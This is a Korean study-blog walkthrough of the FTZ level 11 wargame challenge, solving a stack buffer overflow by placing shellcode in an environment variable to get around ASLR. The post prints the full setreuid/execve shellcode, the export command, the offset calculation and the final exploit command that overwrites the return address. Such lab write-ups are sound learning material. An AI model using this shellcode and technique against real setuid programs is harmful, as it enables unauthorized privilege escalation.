일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- C언어
- netlify variables
- AWS CodeBuild
- Unable to find the global bin directory
- expo
- credential error
- react
- 이미지 좌표 추출
- EC2
- SASS
- Error:error:0308010C:digital envelope routines::unsupported
- S3
- ogr2ogr
- GeoJSON object too complex/large
- can't getting credentials
- CSS
- NODE_VERSION
- AWS CodePipeline
- 김골라
- node
- 반응형 페이지 좌표 변환
- Sequelize Error: Dialect needs to be explicitly supplied as of v4.0.0
- AWS
- rwdImageMaps
- 이미지 맵
- ERR_PNPM_NO_GLOBAL_BIN_DIR
- 설치완료안됨
- nodejs
- aws ec2
- 어셈블리어
- Today
- Total
ImFe's study
FTZ level 11 풀이 -3- 환경변수 본문
풀이 -1이나 풀이-2(NOPsled)는 ASLR 메모리보호기법때문에 어려움이 있었습니다.
1같은경우는 애초에 근본부터 글러먹은 풀이였고 놉슬레드같은경우에도 정확한 값을 이용한다기보다는 공격기법의 특성상 좀 애매한면이 있었다고 생각합니다.
이러한 문제는 환경변수로 해결 할 수 있습니다. 환경변수는 주소가 고정되며 보통은 경로설정같은 값을 저장하는데에 쓰이지만 공격 코드를 저장할수도 있습니다.
환경변수는 OS가 필요한 정보를 메모리에 등록해 놓고 필요할 때마다 참조하는 영역을 의미합니다.
일반 사용자도 필요한 것이 있다면 여기에 등록해서 사용이 가능합니다.
그래서 쉘코드를 환경변수에 등록하고, RET위치에 해당 환경변수가 위치한 주소를 적으면 됩니다.
필요한 정보들)
1.환경변수의 위치
2.RET의 위치
3.쉘코드
export [환경변수명] = [환경변수 값]
이러한 방법으로 환경변수 등록을 할 수 있습니다.
그런데 쉘코드 내용이 실제로는 경로가 포함되어있어서 환경변수를 등록할 대 경로임을 표시해주는 $을 앞에 붙여줘야 한다고 합니다.
그리고 쉘코드를 (python -c 'print "쉘코드"')로 전달해줘야 메모리에서 불러서 실제로 구동시킬 수 있다고 합니다.
export [환경변수명]=$(python -c 'print "쉘코드"')
이러한 방식으로 사용하면 되겠네요.
또 환경변수에 등록된 변수의 메모리 주소를 알아야합니다.
C로 프로그램에서 getenv("변수명")이라는 함수를 사용하면 그 변수의 메모리 주소를 알아 올 수 있습니다.
1)환경변수 등록
export [환경변수명]=$(python -c 'print "쉘코드"')
export egg=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
(print 뒤에 띄어쓰기 있습니다.)
등록해줍니다.
egg가 정상적으로 등록됐음을 알 수 있습니다.
2)환경변수의 주소 획득
환경변수의 주소를 알아오기 위해서는 프로그램을 하나 만들어서 사용해야 합니다.
위에서 언급한 getenv를 사용해야합니다.
tmp폴더로 이동해서 vi를 이용해 적당히 프로그램을 작성합니다.
esc를 누른 후 :wq를 순서대로 눌러준 다음 vi에디터에서 저장하고 gcc -o getit.c로 컴파일해줍시다.
egg의 주소 = 0xbfffff49
괜히 이름을 egg로 했네요. 남들처럼 shellcode정도로 하는게 더 안헷갈릴것같습니다.
3)RET의 위치정보 획득
FTZ level 11 1번글과 2번글에서 획득한 정보를 그대로 사용합시다.
str버퍼 시작에서 ret시작점까지의 거리는 268글자입니다(str256+dummy8+sfp4)
4)페이로드 작성
./attackme `python -c 'print "A"*[거리]+"[egg주소]"'`
./attackme `python -c 'print "A"*268+"\x49\xff\xff\xbf"'`
=>egg의 주소를 리틀엔디안방식으로 넣어줍니다.
성공적으로 배쉬가 떴습니다.
'FTZ' 카테고리의 다른 글
FTZ level 11 풀이 - 2 - NOPsled (0) | 2020.04.28 |
---|---|
버퍼 오버플로우 왕기초편 - 무임승차 문제 (0) | 2020.04.24 |
FTZ level11풀이-1 (0) | 2020.04.12 |
레지스터(register)란? (0) | 2020.04.07 |
어셈블리어 기초- 진법 체계 (0) | 2020.03.25 |